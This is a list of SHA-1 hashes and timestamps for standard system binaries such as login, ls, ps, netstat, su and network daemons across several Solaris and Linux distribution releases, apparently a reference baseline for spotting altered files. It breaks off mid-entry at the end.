/bin/login [Solaris 2.8 Generic] +B23D4EE9FF0E9CBB9738D612BAB8847A46C73BAD Wed Jan 5 23:57:23 2000 /usr/bin/login [Solaris 2.8 Generic] +37C4C703D48470CA5F2E87C45BE4303DF9535486 Wed Jan 5 23:57:54 2000 /bin/ls [Solaris 2.8 Generic] +37C4C703D48470CA5F2E87C45BE4303DF9535486 Wed Jan 5 23:57:54 2000 /usr/bin/ls [Solaris 2.8 Generic] +7005902DED0729B0D8FD779776C9960E1D325B55 Wed Jan 5 23:58:41 2000 /usr/bin/sparcv9/ls [Solaris 2.8 Generic] +72D4298093B2D3462B845B9D02C510E929D8BCCC Wed Jan 5 23:59:21 2000 /usr/sbin/modinfo [Solaris 2.8 Generic] +5868461A336F082069D6421E9E311AA477A301C2 Thu Jan 6 00:01:00 2000 /bin/netstat [Solaris 2.8 Generic] +5868461A336F082069D6421E9E311AA477A301C2 Thu Jan 6 00:01:00 2000 /usr/bin/netstat [Solaris 2.8 Generic] +067E63DE5F6214676CB4365B52D595945AE97407 Thu Jan 6 00:01:56 2000 /usr/sbin/arp [Solaris 2.8 Generic] +F9A5344600B92BFB445B427B3D224A0261F1BAFB Thu Jan 6 00:01:22 2000 /bin/rm [Solaris 2.8 Generic] +F9A5344600B92BFB445B427B3D224A0261F1BAFB Thu Jan 6 00:01:22 2000 /usr/bin/rm [Solaris 2.8 Generic] +13D6EF6B6BFD3CB7504B85268E60D065718DCF79 Thu Jan 6 00:01:58 2000 /usr/sbin/in.rlogind [Solaris 2.8 Generic] +7D08CEBF8A579F33E5021AB34423376931AFBD37 Thu Jan 6 00:01:59 2000 /usr/sbin/in.telnetd [Solaris 2.8 Generic] +D75143D78DC119A91C563F61CF0764DBB90C3FC6 Thu Jan 6 00:01:59 2000 /usr/sbin/inetd [Solaris 2.8 Generic] +26AE2C712489D10314105EDCC87E6610B5F93D1F Thu Jan 6 00:01:10 2000 /bin/telnet [Solaris 2.8 Generic] +26AE2C712489D10314105EDCC87E6610B5F93D1F Thu Jan 6 00:01:10 2000 /usr/bin/telnet [Solaris 2.8 Generic] +A6B18856F46CA11062DF0ED3AB5703F954ECC676 Thu Jan 6 00:25:47 2000 /usr/bin/sparcv7/w [Solaris 2.8 Generic] +323BE0CD635205AC53B69E6881C965C35E84DB5E Thu Jan 6 00:26:03 2000 /usr/bin/sparcv9/w [Solaris 2.8 Generic] +CBE9EB8E6B177427966B1A90D64FDAF2AABF388B Thu Jan 6 00:32:28 2000 /usr/ucb/ls [Solaris 2.8 Generic] +DC85437325E387F620F7590D83E168A5503C5240 Thu Mar 16 10:53:31 2000 /bin/su [Solaris 2.8 Generic] +DC85437325E387F620F7590D83E168A5503C5240 Thu Mar 16 10:53:31 2000 /usr/bin/su [Solaris 2.8 Generic] +92348DB2F4BB5FDED5E8D341E0428783577CDC9A Thu Mar 16 10:53:49 2000 /usr/bin/sparcv7/ps [Solaris 2.8 Generic] +B5AE96E10D6B525FB468617A380BB02E4AED12B0 Thu Mar 16 10:53:50 2000 /usr/bin/sparcv9/ps [Solaris 2.8 Generic] +E04AB38D6A4A2DAC9682B0D9D9FBEFBCADD0BAE3 Fri May 26 11:32:27 2000 /sbin/sh [Solaris 2.8 Generic] +1513513973F2F2954EB4E44736F50DB2653E5C25 Fri May 26 11:32:29 2000 /bin/sh [Solaris 2.8 Generic] +1513513973F2F2954EB4E44736F50DB2653E5C25 Fri May 26 11:32:29 2000 /usr/bin/sh [Solaris 2.8 Generic] +EF26E24E652C292CBDFD1EF464FD7D955873B4AF Thu Jun 8 16:08:34 2000 /usr/sbin/in.tftpd [Solaris 2.8 Generic] +0FEF59829F351F8CBC6CFF81A666AD4E4F231412 Mon Jul 10 11:22:22 2000 /usr/sbin/in.rshd [Solaris 2.8 Generic] +DC85437325E387F620F7590D83E168A5503C5240 Thu Mar 16 10:53:31 2000 /sbin/su [Solaris 2.8 Generic] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/ucb/w [Solaris 2.8 Generic] +26AE2C712489D10314105EDCC87E6610B5F93D1F Thu Jan 6 00:01:10 2000 /usr/ucb/telnet [Solaris 2.8 Generic] +5868461A336F082069D6421E9E311AA477A301C2 Thu Jan 6 00:01:00 2000 /usr/ucb/netstat [Solaris 2.8 Generic] + +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /bin/ps [Solaris 2.9 Generic] +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /bin/w [Solaris 2.9 Generic] +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /usr/bin/ps [Solaris 2.9 Generic] +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /usr/bin/w [Solaris 2.9 Generic] +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /usr/ucb/ps [Solaris 2.9 Generic] +570892D29E2841BE4A4CE2DCB4BC82765E725330 Sat Apr 6 22:48:57 2002 /bin/find [Solaris 2.9 Generic] +570892D29E2841BE4A4CE2DCB4BC82765E725330 Sat Apr 6 22:48:57 2002 /usr/bin/find [Solaris 2.9 Generic] +E5621B75E4EA4D72562EE8EE29224D5CAADFEB0B Sat Apr 6 22:54:09 2002 /bin/login [Solaris 2.9 Generic] +E5621B75E4EA4D72562EE8EE29224D5CAADFEB0B Sat Apr 6 22:54:09 2002 /usr/bin/login [Solaris 2.9 Generic] +9734B51596B23BC737BACD9B5B92995E3D9F29BD Sat Apr 6 22:54:41 2002 /bin/ls [Solaris 2.9 Generic] +9734B51596B23BC737BACD9B5B92995E3D9F29BD Sat Apr 6 22:54:41 2002 /usr/bin/ls [Solaris 2.9 Generic] +8F94850F142E1554561F907E7CC17596A938C150 Sat Apr 6 22:54:08 2002 /usr/sbin/in.ftpd [Solaris 2.9 Generic] +BB95633DAE430C11071602962D09624C1D7EE943 Sat Apr 6 22:55:34 2002 /usr/bin/sparcv9/ls [Solaris 2.9 Generic] +CF7DF79A9D858ED2A2FF58D54BD8E7D7DEDFCD8C Sat Apr 6 22:58:29 2002 /bin/netstat [Solaris 2.9 Generic] +CF7DF79A9D858ED2A2FF58D54BD8E7D7DEDFCD8C Sat Apr 6 22:58:29 2002 /usr/bin/netstat [Solaris 2.9 Generic] +34174F5C3EF0844676AEC8751A41C39968633E5C Sat Apr 6 22:59:18 2002 /usr/sbin/modinfo [Solaris 2.9 Generic] +D420D0D50AE151063A670D3B025D90CA0A08117D Sat Apr 6 23:02:03 2002 /usr/sbin/arp [Solaris 2.9 Generic] +B19E9EED9961B53A2C246EBC60963A0CFBF0C38F Sat Apr 6 23:02:58 2002 /bin/rm [Solaris 2.9 Generic] +B19E9EED9961B53A2C246EBC60963A0CFBF0C38F Sat Apr 6 23:02:58 2002 /usr/bin/rm [Solaris 2.9 Generic] +1A47EE8059E33D1BF8C062320FA60AEDB69C47D2 Sat Apr 6 23:02:06 2002 /usr/sbin/in.rlogind [Solaris 2.9 Generic] +AF56C1CE8765671A069F417B4B50088EE219B05A Sat Apr 6 23:02:06 2002 /usr/sbin/in.rshd [Solaris 2.9 Generic] +8FA58E43B30794F21592601AA8464697FA290D7D Sat Apr 6 23:02:17 2002 /usr/bin/sparcv7/ps [Solaris 2.9 Generic] +61CF8350644C30E9290D79E37A53C8702A4E9597 Sat Apr 6 23:02:05 2002 /usr/sbin/in.tftpd [Solaris 2.9 Generic] +EE73B814205BE38EA3C3E529E303A27E2B10860B Sat Apr 6 23:02:07 2002 /usr/sbin/in.telnetd [Solaris 2.9 Generic] +310F1B04B6AFD36966DC848FC76C661936211020 Sat Apr 6 23:02:52 2002 /usr/bin/sparcv9/ps [Solaris 2.9 Generic] +9F04E8CA68941CF9B3A93614441CBAA93205A9E8 Sat Apr 6 23:02:07 2002 /usr/sbin/inetd [Solaris 2.9 Generic] +91028D726B9B1B7B05D6DEF35D75231B58653A2C Sat Apr 6 23:04:55 2002 /sbin/sh [Solaris 2.9 Generic] +3E3E6D19247980E8BEAC52497E7CDFD0AE72FE93 Sat Apr 6 23:04:53 2002 /bin/sh [Solaris 2.9 Generic] +3E3E6D19247980E8BEAC52497E7CDFD0AE72FE93 Sat Apr 6 23:04:53 2002 /usr/bin/sh [Solaris 2.9 Generic] +77C3F1AB55FED64FB912B4CFF31E864CE60D7CE8 Sat Apr 6 23:08:47 2002 /bin/su [Solaris 2.9 Generic] +77C3F1AB55FED64FB912B4CFF31E864CE60D7CE8 Sat Apr 6 23:08:47 2002 /usr/bin/su [Solaris 2.9 Generic] +32353A375C53C78F73C844453568E49171C4E7DA Sat Apr 6 23:13:04 2002 /usr/bin/sparcv7/w [Solaris 2.9 Generic] +5B435DF91C5A21326D42DDEF81E65F3B50571F08 Sat Apr 6 23:13:15 2002 /usr/bin/sparcv9/w [Solaris 2.9 Generic] +950715ABC9A55EAB0281DC0653ECD10D59DAEB50 Sat Apr 6 23:26:46 2002 /usr/ucb/ls [Solaris 2.9 Generic] +77C3F1AB55FED64FB912B4CFF31E864CE60D7CE8 Sat Apr 6 23:08:47 2002 /sbin/su [Solaris 2.9 Generic] +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /usr/ucb/w [Solaris 2.9 Generic] +50A3A005BAA5B766ABCDB3C40B8FE2BEB8F6F167 Wed Dec 8 23:19:48 2010 /usr/ucb/telnet [Solaris 2.9 Generic] +CF7DF79A9D858ED2A2FF58D54BD8E7D7DEDFCD8C Sat Apr 6 22:58:29 2002 /usr/ucb/netstat [Solaris 2.9 Generic] +50A3A005BAA5B766ABCDB3C40B8FE2BEB8F6F167 Wed Dec 8 23:19:48 2010 /bin/telnet [Solaris 2.9 Generic] +50A3A005BAA5B766ABCDB3C40B8FE2BEB8F6F167 Wed Dec 8 23:19:48 2010 /usr/bin/telnet [Solaris 2.9 Generic] + +C84F18C9DC7FA44291CE72FF55D56FD05D32E3DA Sat Dec 1 09:10:50 2007 /usr/bin/telnet [CentOS 5.5 x86_64] +BFD72758D4A23A7C5106C273BC77C35B6D14A259 Thu Sep 3 18:06:19 2009 /usr/bin/find [CentOS 5.5 x86_64] +EF5E342FAEFF338DE5C5B4632277F27B26230EED Wed Jan 20 10:36:32 2010 /bin/login [CentOS 5.5 x86_64] +C3F025CD1845B78005004AC3FE9679138E3E8935 Tue Jan 26 23:41:20 2010 /sbin/arp [CentOS 5.5 x86_64] +E839B848023E061A60C24361ABBFAEC2E5F34263 Tue Jan 26 23:41:20 2010 /bin/netstat [CentOS 5.5 x86_64] +F02C9A43F7682CC89D0ACCDDFEAE26CF9AB28299 Sun Feb 28 22:25:58 2010 /bin/su [CentOS 5.5 x86_64] +146E337FF3F71CB2AF358C25DD79BDBF5D60307A Sun Feb 28 22:26:02 2010 /bin/rm [CentOS 5.5 x86_64] +77F89EB0E11F017ACBE36D90CDCBFFE70D539AA6 Sun Feb 28 22:26:02 2010 /bin/ls [CentOS 5.5 x86_64] +8EAEE59817BF621BF3E24A46ACC9E15AFBD66B91 Wed Mar 31 04:59:05 2010 /usr/bin/w [CentOS 5.5 x86_64] +84DA0A8298BFC1B872FEEA23B2F468558E9F2241 Wed Mar 31 04:59:05 2010 /bin/ps [CentOS 5.5 x86_64] +B7A6867374B3FBF4C83F0D3696BB64B436E481F8 Wed Mar 31 07:06:26 2010 /sbin/modinfo [CentOS 5.5 x86_64] +FA7EA33A3AD4202B830915906344C970B7F2B358 Thu Jan 22 01:15:24 2009 /bin/sh [CentOS 5.5 x86_64] + +EAFB3AAAC97983476512E488F75DD169F5FA7A91 Sun Apr 7 10:24:08 2002 /usr/bin/find [Slackware 10.2] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /bin/rm [Slackware 10.2] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /bin/ls [Slackware 10.2] +C9A1135F97D7A76C9AEEFE41FF8FA444AD73841E Mon Jun 21 19:20:52 2004 /bin/su [Slackware 10.2] +9770FAD790FE4980560391ABEDA976753D7322EB Mon Jun 21 19:20:52 2004 /bin/login [Slackware 10.2] +44A52252554D2606C92B16524CD8B352F7620C39 Fri Sep 3 19:53:18 2004 /usr/sbin/inetd [Slackware 10.2] +A1B7903529A1D68D3817871C47AEB5AA139228B3 Sun Jan 2 01:27:21 2005 /sbin/modinfo [Slackware 10.2] +F191417F9B675623AA8A477DA36124D4E12F506F Thu Jul 14 05:14:10 2005 /usr/sbin/vsftpd [Slackware 10.2] +4898DFB7760DA840F293377882E69620B93B5F72 Wed Aug 3 05:33:20 2005 /usr/sbin/proftpd [Slackware 10.2] +5729C58698AA5D7C7A031DA3B06304DEFD922AA5 Tue Aug 30 02:03:01 2005 /usr/bin/w [Slackware 10.2] +CF66EDB1A0662F3F191566F7370EC178E543BDEB Tue Aug 30 02:03:01 2005 /bin/ps [Slackware 10.2] +69D51862C2306CCAF5A5E5F7A2A12366F9BABB82 Wed Sep 7 20:45:49 2005 /usr/sbin/in.rshd [Slackware 10.2] +022962A3261303200BB1A4BDA940A43CD5F427B6 Wed Sep 7 20:45:49 2005 /usr/sbin/in.rlogind [Slackware 10.2] +59397F872BF8BE07DAB26D56EEB1929C288ABF42 Wed Sep 7 20:45:59 2005 /usr/sbin/in.telnetd [Slackware 10.2] +7268E1BB083B7BCD497EEC415F68CDFCA79302EE Wed Sep 7 20:45:14 2005 /sbin/arp [Slackware 10.2] +2B681986C0A4F42A7537BA2120DCE92BF985AD68 Wed Sep 7 20:45:14 2005 /bin/netstat [Slackware 10.2] +FF3B40552907553B3EE1F34779DE2826C9F148ED Wed Sep 7 20:46:23 2005 /usr/sbin/in.tftpd [Slackware 10.2] +4D52968DF589AC12625A182BCA385B96A5C25CAE Wed Sep 7 20:46:05 2005 /bin/telnet [Slackware 10.2] +BD819DDD5A3716FD183E3933E77D700070EA9965 Sat Sep 10 19:46:58 2005 /bin/sh [Slackware 10.2] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /usr/bin/ls [Slackware 10.2] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /usr/bin/rm [Slackware 10.2] +CF66EDB1A0662F3F191566F7370EC178E543BDEB Tue Aug 30 02:03:01 2005 /usr/bin/ps [Slackware 10.2] +4898DFB7760DA840F293377882E69620B93B5F72 Wed Aug 3 05:33:20 2005 /usr/sbin/in.proftpd [Slackware 10.2] + +C84F18C9DC7FA44291CE72FF55D56FD05D32E3DA Sat Dec 1 09:10:50 2007 /usr/bin/telnet [CentOS 5.6 x86_64] +EB35751E15775E79140AF3E4D34F21287991F337 Thu Sep 3 18:06:19 2009 /usr/bin/find [CentOS 5.6 x86_64] +A99619EA3E8A83432DC33A9183ACEB3736664314 Tue Jan 26 23:41:20 2010 /sbin/arp [CentOS 5.6 x86_64] +FD13DB47F9516B6F82404BE486F62B58DF20A007 Tue Jan 26 23:41:20 2010 /bin/netstat [CentOS 5.6 x86_64] +F02C9A43F7682CC89D0ACCDDFEAE26CF9AB28299 Sun Feb 28 22:25:58 2010 /bin/su [CentOS 5.6 x86_64] +441B6B87023A86549EA568AC8433C8EE0E2F15A1 Sun Feb 28 22:26:02 2010 /bin/rm [CentOS 5.6 x86_64] +D88BFA04749A4331A26482AB2C30FDB933D03663 Sun Feb 28 22:26:02 2010 /bin/ls [CentOS 5.6 x86_64] +1182038CC7E57245DE0EAF3E1C5088CC28F585B7 Wed Mar 31 04:59:05 2010 /usr/bin/w [CentOS 5.6 x86_64] +07193D4388C2E56EF2B48D13CCE0E93F99830549 Wed Mar 31 04:59:05 2010 /bin/ps [CentOS 5.6 x86_64] +C3378FF3E8203B5F6853A2FE26CD82A72550EB69 Mon Oct 11 11:31:17 2010 /sbin/modinfo [CentOS 5.6 x86_64] +F93623F7BDFCA3E538BDBA60E8961CC58DA506DF Thu Mar 10 13:32:54 2011 /bin/login [CentOS 5.6 x86_64] +8FCE34FB5081D92029EBAA4AF0C81AE14961995C Thu Jan 22 01:15:24 2009 /bin/sh [CentOS 5.6 x86_64] + +653F929CFB6DD275736B887C5D6C460D437A9650 Sat Feb 21 01:23:19 2009 /usr/bin/telnet [SuSE Enterprise 11.0 x86_64] +CF7D0FDC62FE8273B1F235C45A1CD03E8F440502 Sat Feb 21 01:24:43 2009 /sbin/modinfo [SuSE Enterprise 11.0 x86_64] +B86CB9ACA8176D6F2157E75E1F9325904B503468 Sat Feb 21 01:28:10 2009 /sbin/arp [SuSE Enterprise 11.0 x86_64] +75134169548AF6268FDEBC62685DB1A12EFC5471 Sat Feb 21 01:28:10 2009 /bin/netstat [SuSE Enterprise 11.0 x86_64] +AEF68044D1757B9E9FF3E9D7384E9703E8A5A54B Sat Feb 21 01:30:08 2009 /usr/bin/w [SuSE Enterprise 11.0 x86_64] +F234252C2577725D37F95207927DE180F85DDDC8 Sat Feb 21 01:30:08 2009 /bin/ps [SuSE Enterprise 11.0 x86_64] +D5D2CF22B05D9179590B6E925A8A46DF62F0C7B5 Sat Feb 21 01:30:13 2009 /usr/bin/find [SuSE Enterprise 11.0 x86_64] +4EFD87B9466C1E0733F46D9C3C12B87410F00556 Sat Feb 21 02:29:49 2009 /usr/sbin/in.tftpd [SuSE Enterprise 11.0 x86_64] +E2E8EF34264DC112FABE4B43D9EC8CD88055FE5C Sat Feb 21 02:30:22 2009 /usr/sbin/xinetd [SuSE Enterprise 11.0 x86_64] +91DE479B5DC777963993077AD28EAF188CA932EB Sat Feb 21 07:45:51 2009 /bin/login [SuSE Enterprise 11.0 x86_64] +8985A2CB3E370CE2872555A7A991C7D8590D1DF7 Sat Feb 21 07:45:58 2009 /usr/bin/opieftpd [SuSE Enterprise 11.0 x86_64] +8A48A0454A1AB0B75F7ADC11BF4B9C7402EE17B0 Sat Feb 21 07:49:50 2009 /bin/su [SuSE Enterprise 11.0 x86_64] +4B0FC111479E3EAA04AD959BCC4A37B2E72273D2 Sat Feb 21 07:49:50 2009 /bin/rm [SuSE Enterprise 11.0 x86_64] +F73A500A96B63BC0B720C21AAC72B0C63589F03F Sat Feb 21 07:49:50 2009 /bin/ls [SuSE Enterprise 11.0 x86_64] +9D95A62A9CEDE152E5C1EBD98A199FAC1CDED903 Mon Feb 23 20:56:30 2009 /usr/sbin/pure-ftpd [SuSE Enterprise 11.0 x86_64] +7E51FF81865664CDBD70C283A3B715521289F7D2 Sat Feb 21 01:26:34 2009 /bin/sh [SuSE Enterprise 11.0 x86_64] +7E51FF81865664CDBD70C283A3B715521289F7D2 Sat Feb 21 01:26:34 2009 /usr/bin/sh [SuSE Enterprise 11.0 x86_64] +F67A7231F392B95451E9554DCD12A8DC90BC9823 Mon Feb 23 20:56:29 2009 /usr/sbin/rcpure-ftpd [SuSE Enterprise 11.0 x86_64] +4F7719469820CE454672F8DDD45A5CB6A7924195 Sat Feb 21 02:30:21 2009 /usr/sbin/rcxinetd [SuSE Enterprise 11.0 x86_64] + +803A83F0A13F1AE53AA05CE28A31A5FE8E3FDDBB Thu Feb 17 23:48:17 2005 /sbin/modinfo [CentOS 4.2 x86_64] +154A69BD3517AAB324200F3868CEEC3557E29C93 Fri Feb 18 04:27:57 2005 /usr/bin/find [CentOS 4.2 x86_64] +94F445B0135263B5030156F44353878052587727 Sat Apr 9 17:31:02 2005 /sbin/arp [CentOS 4.2 x86_64] +56F4140D27154085511FB24A72834FE1940EBE57 Sat Apr 9 17:31:01 2005 /bin/netstat [CentOS 4.2 x86_64] +4D035E747FE179F433022BC04FFD2D7495F1552E Tue Jun 14 20:36:21 2005 /usr/bin/telnet [CentOS 4.2 x86_64] +B7783C5DB3DE962797F28E20DE7F0D4E28F9172E Fri Oct 7 21:08:56 2005 /usr/sbin/xinetd [CentOS 4.2 x86_64] +2750F10D88A2CA37181A72632234597D847A0210 Fri Oct 7 21:11:18 2005 /bin/login [CentOS 4.2 x86_64] +4C2EC111F9F9960D81FBA628AC5883C930E6A0CD Fri Oct 7 22:01:47 2005 /usr/bin/w [CentOS 4.2 x86_64] +8CA247A5053A1DA27A0688A683A68A2FD5420AAF Fri Oct 7 22:01:47 2005 /bin/ps [CentOS 4.2 x86_64] +24B1404CBD99009124B82B48A7D999A98507DF43 Sat Oct 8 01:55:56 2005 /bin/su [CentOS 4.2 x86_64] +4AACB45BEE1BBA726E0615499C75003C5A2CD07D Sat Oct 8 01:56:00 2005 /bin/rm [CentOS 4.2 x86_64] +14FEF4E377B1DCB76D41BE538F0F470201B40F8D Sat Oct 8 01:56:00 2005 /bin/ls [CentOS 4.2 x86_64] +FCB2F947157E7767DBDE05517B851E4FD0820380 Fri Feb 18 01:30:32 2005 /bin/sh [CentOS 4.2 x86_64] + +D02B49C1A14CFC12AA16D11B92C6575D02733AD1 Wed Sep 27 07:59:21 2006 /usr/bin/find [CentOS 4.7] +48CE9EAE07855A22B257BCE2F52D9FC5F9A880AD Sat Nov 17 12:08:40 2007 /usr/bin/telnet [CentOS 4.7] +140B23C45812617044720E669D5EF1CD6DF13A85 Fri Jul 25 13:04:24 2008 /usr/sbin/xinetd [CentOS 4.7] +FB0F83433ED7EEEB2F51E064BCE9D5B81B58AE75 Fri Jul 25 15:00:47 2008 /sbin/arp [CentOS 4.7] +E67C3CFE1A50A0F382E6A5BBE9D1C4A63DE29FF3 Fri Jul 25 15:00:47 2008 /bin/netstat [CentOS 4.7] +9E3E47D1394FCC8CD3EC30CA39C42721CFC6DB3C Fri Jul 25 16:46:15 2008 /usr/bin/w [CentOS 4.7] +A5C657D1FE233DD2738E7FD795BC789C824FB1DD Fri Jul 25 16:46:15 2008 /bin/ps [CentOS 4.7] +9165628759D58E067ADDEA065F0BE98C3F996530 Fri Jul 25 20:10:50 2008 /bin/login [CentOS 4.7] +D26B814C8FC9F74C8ACA0B00C5766AD4F33DCA79 Fri Jul 25 20:28:08 2008 /sbin/modinfo [CentOS 4.7] +80993072C154DAF987A17B9942920166D18B6766 Sun Jul 27 02:26:49 2008 /bin/su [CentOS 4.7] +42637F660FC9C98782DC0744AC7BA39BE0822B92 Sun Jul 27 02:26:54 2008 /bin/rm [CentOS 4.7] +D598710B2BB49655D01B7A3887A40D0877F385FD Sun Jul 27 02:26:54 2008 /bin/ls [CentOS 4.7] +F823B02D438752F16AE763AC79A5CB989DA60440 Fri Jul 25 15:42:51 2008 /bin/sh [CentOS 4.7] + +7FA2AE9C7B71EFB0DE38B8BDE99F79AAEED6955A Tue Jan 16 14:49:59 2001 /bin/su [RedHat 7.1] +9AB81EFA9DF80179EFF69DE8BDFCB337B6E7EAAD Mon Jan 22 13:52:24 2001 /usr/bin/telnet [RedHat 7.1] +5D1B71D20A543702A564253AD8C0A6BA5F35B9D4 Fri Feb 9 04:29:07 2001 /usr/bin/find [RedHat 7.1] +B033CEBA357251BC66ABF81D88650CE742288B79 Fri Mar 9 16:47:13 2001 /sbin/modinfo [RedHat 7.1] +65A66D5F4618730DDD991E6C19DF0E407897B07D Wed Mar 14 16:42:17 2001 /bin/rm [RedHat 7.1] +AD4523F2B73A723D5B7E7BF9D120F99E27A34E43 Wed Mar 14 16:42:17 2001 /bin/ls [RedHat 7.1] +AEEF23810320E5845AF21E2FEF8FA1A2D96EDD0C Thu Apr 5 13:54:41 2001 /usr/bin/w [RedHat 7.1] +DE725303504A0936ACF3C9E0589E708809E1E1D1 Thu Apr 5 13:54:41 2001 /bin/ps [RedHat 7.1] +E5924081235D1451FDBFFB669B57C99DF49B1827 Sun Apr 8 14:12:03 2001 /bin/login [RedHat 7.1] +64FE5C2917673774551C3CA700B1ECFE47F0EF11 Sun Apr 8 15:17:31 2001 /sbin/arp [RedHat 7.1] +645ECF475315BD324A7F2C314EFEADB547DC2F3C Sun Apr 8 15:17:31 2001 /bin/netstat [RedHat 7.1] +5449579EEE3473AA5B0DA5554D279059F2268F98 Wed Feb 28 07:01:03 2001 /bin/sh [RedHat 7.1] + +C3122D6F939443449F93D6A640B196C623493F94 Thu Jul 13 01:22:12 2006 /usr/sbin/in.tftpd [RedHat Enterprise 5.2 x86_64] +452CFD0321768D87F4AD557CB047F112A16AC46C Thu Jul 13 16:07:56 2006 /usr/bin/find [RedHat Enterprise 5.2 x86_64] +C3E45676811E9AA0E356146E55BBED7784F06AD8 Wed Dec 6 15:13:07 2006 /usr/sbin/xinetd [RedHat Enterprise 5.2 x86_64] +1FD4FD4DF3CB3B325AFFCE62705F3F2726DFD7C4 Wed Oct 24 14:05:10 2007 /usr/bin/telnet [RedHat Enterprise 5.2 x86_64] +F5B0C6F62623E3E5669EC746ADD3990D74C8F74A Fri Nov 30 12:45:03 2007 /bin/su [RedHat Enterprise 5.2 x86_64] +80802A91DD8C25C9AD4885E2B7B23B37384905E3 Fri Nov 30 12:45:06 2007 /bin/rm [RedHat Enterprise 5.2 x86_64] +347E7292D10D36549F33E9BFB60BDC80569B862B Fri Nov 30 12:45:06 2007 /bin/ls [RedHat Enterprise 5.2 x86_64] +47781846A2C98B0FB155DDFFCA0163390C4B727E Wed Jan 2 08:53:10 2008 /usr/bin/w [RedHat Enterprise 5.2 x86_64] +60F4BE05E1B03A5A4652E6D4AAD91F957E033D13 Wed Jan 2 08:53:10 2008 /bin/ps [RedHat Enterprise 5.2 x86_64] +8FD77641DAE4CEBA449E9F014F610EFAD337489D Thu Jan 17 17:47:07 2008 /sbin/modinfo [RedHat Enterprise 5.2 x86_64] +93E0E491E71BD00808B5259B3965FFB8AA934320 Mon Mar 3 18:49:13 2008 /bin/login [RedHat Enterprise 5.2 x86_64] +72479C51E0E365224524BBEAB64B5458C44FC7BA Fri Apr 18 09:54:05 2008 /sbin/arp [RedHat Enterprise 5.2 x86_64] +88520D3C5DCCE84687FAE71875F412F96C742BCD Fri Apr 18 09:54:05 2008 /bin/netstat [RedHat Enterprise 5.2 x86_64] +28829FEAA4A26003ABFBF555CDFCAF4D81093939 Fri Feb 1 11:44:32 2008 /bin/sh [RedHat Enterprise 5.2 x86_64] + +49A97EA365AE611C9B26C71489840FC79B9C011A Thu Jul 13 01:22:12 2006 /usr/sbin/in.tftpd [RedHat Enterprise 5.3 x86_64] +C3E45676811E9AA0E356146E55BBED7784F06AD8 Wed Dec 6 15:13:07 2006 /usr/sbin/xinetd [RedHat Enterprise 5.3 x86_64] +1FD4FD4DF3CB3B325AFFCE62705F3F2726DFD7C4 Wed Oct 24 14:05:10 2007 /usr/bin/telnet [RedHat Enterprise 5.3 x86_64] +93DF01137D40B4821D8A034D70DEA965E222EBD6 Fri Apr 18 09:54:05 2008 /sbin/arp [RedHat Enterprise 5.3 x86_64] +C8ECD07DAD5E062B0477D146647AB60DBC959876 Fri Apr 18 09:54:05 2008 /bin/netstat [RedHat Enterprise 5.3 x86_64] +A09C8C2104DC5D65E5F181C1B9C3E963EA447DB4 Mon Jul 7 08:32:55 2008 /usr/bin/find [RedHat Enterprise 5.3 x86_64] +AA4B04C5C80870899C54CA23E354A32A1029B5EE Thu Oct 30 19:17:06 2008 /bin/su [RedHat Enterprise 5.3 x86_64] +AD3B0F96472F3A57BED8FD8499354C2D3F646FE4 Thu Oct 30 19:17:09 2008 /bin/rm [RedHat Enterprise 5.3 x86_64] +8BDF4C32CF95B53A5EE4E8A86EB4966CBB027478 Thu Oct 30 19:17:09 2008 /bin/ls [RedHat Enterprise 5.3 x86_64] +C93527D9A3B91336E343391D7A7CDBBA83EBB385 Tue Nov 11 17:23:44 2008 /sbin/modinfo [RedHat Enterprise 5.3 x86_64] +DD32C52189AAADE5A3E223C23406AE9C90425829 Tue Nov 25 23:15:26 2008 /bin/login [RedHat Enterprise 5.3 x86_64] +6292A3B64D955830D7CF7B55B82D7217AA323FAE Wed Dec 3 10:32:57 2008 /usr/bin/w [RedHat Enterprise 5.3 x86_64] +7CC21A0E1B718C5AB0BA48D1C10C27BA5226088F Wed Dec 3 10:32:57 2008 /bin/ps [RedHat Enterprise 5.3 x86_64] +C7EE4FE28EBA86EAB110931364562DD66E5E2361 Tue Oct 21 12:13:18 2008 /bin/sh [RedHat Enterprise 5.3 x86_64] + +4D035E747FE179F433022BC04FFD2D7495F1552E Tue Jun 14 20:36:21 2005 /usr/bin/telnet [CentOS 4.4 x86_64] +B7783C5DB3DE962797F28E20DE7F0D4E28F9172E Fri Oct 7 21:08:56 2005 /usr/sbin/xinetd [CentOS 4.4 x86_64] +AAE3A92B32CC07DE9F8E7D9F3E368949B5CFBFC2 Thu Mar 9 09:36:07 2006 /sbin/modinfo [CentOS 4.4 x86_64] +4158611648BE1F5A91F27085044D3B28F10A6405 Tue Aug 15 01:36:17 2006 /bin/login [CentOS 4.4 x86_64] +DD7B40C8A6EE1E6D536F21A985CC34AC8268D725 Tue Aug 15 07:29:40 2006 /sbin/arp [CentOS 4.4 x86_64] +99A2FAF271BB6D0FE3CE9FEEA8BE72217DED0A74 Tue Aug 15 07:29:38 2006 /bin/netstat [CentOS 4.4 x86_64] +0F5264D4DCDE7418DC034A78A6A2409D8137EDA3 Tue Aug 15 19:57:26 2006 /bin/su [CentOS 4.4 x86_64] +8234E958F74314691530DDD140BAB90F0C94B1AA Tue Aug 15 19:57:43 2006 /bin/rm [CentOS 4.4 x86_64] +461DC4BE88C331A686C6EB925AB28B3AEB236D8D Tue Aug 15 19:57:43 2006 /bin/ls [CentOS 4.4 x86_64] +C10CE3A799B5189E002DF690F0A0DF801D417586 Wed Aug 23 18:24:29 2006 /usr/bin/w [CentOS 4.4 x86_64] +0FDAEFFE8E5F6610119FFCBE08C91E1FE05D14EC Wed Aug 23 18:24:30 2006 /bin/ps [CentOS 4.4 x86_64] +B0854108570857DCFF5AECC3F493E80A648C201B 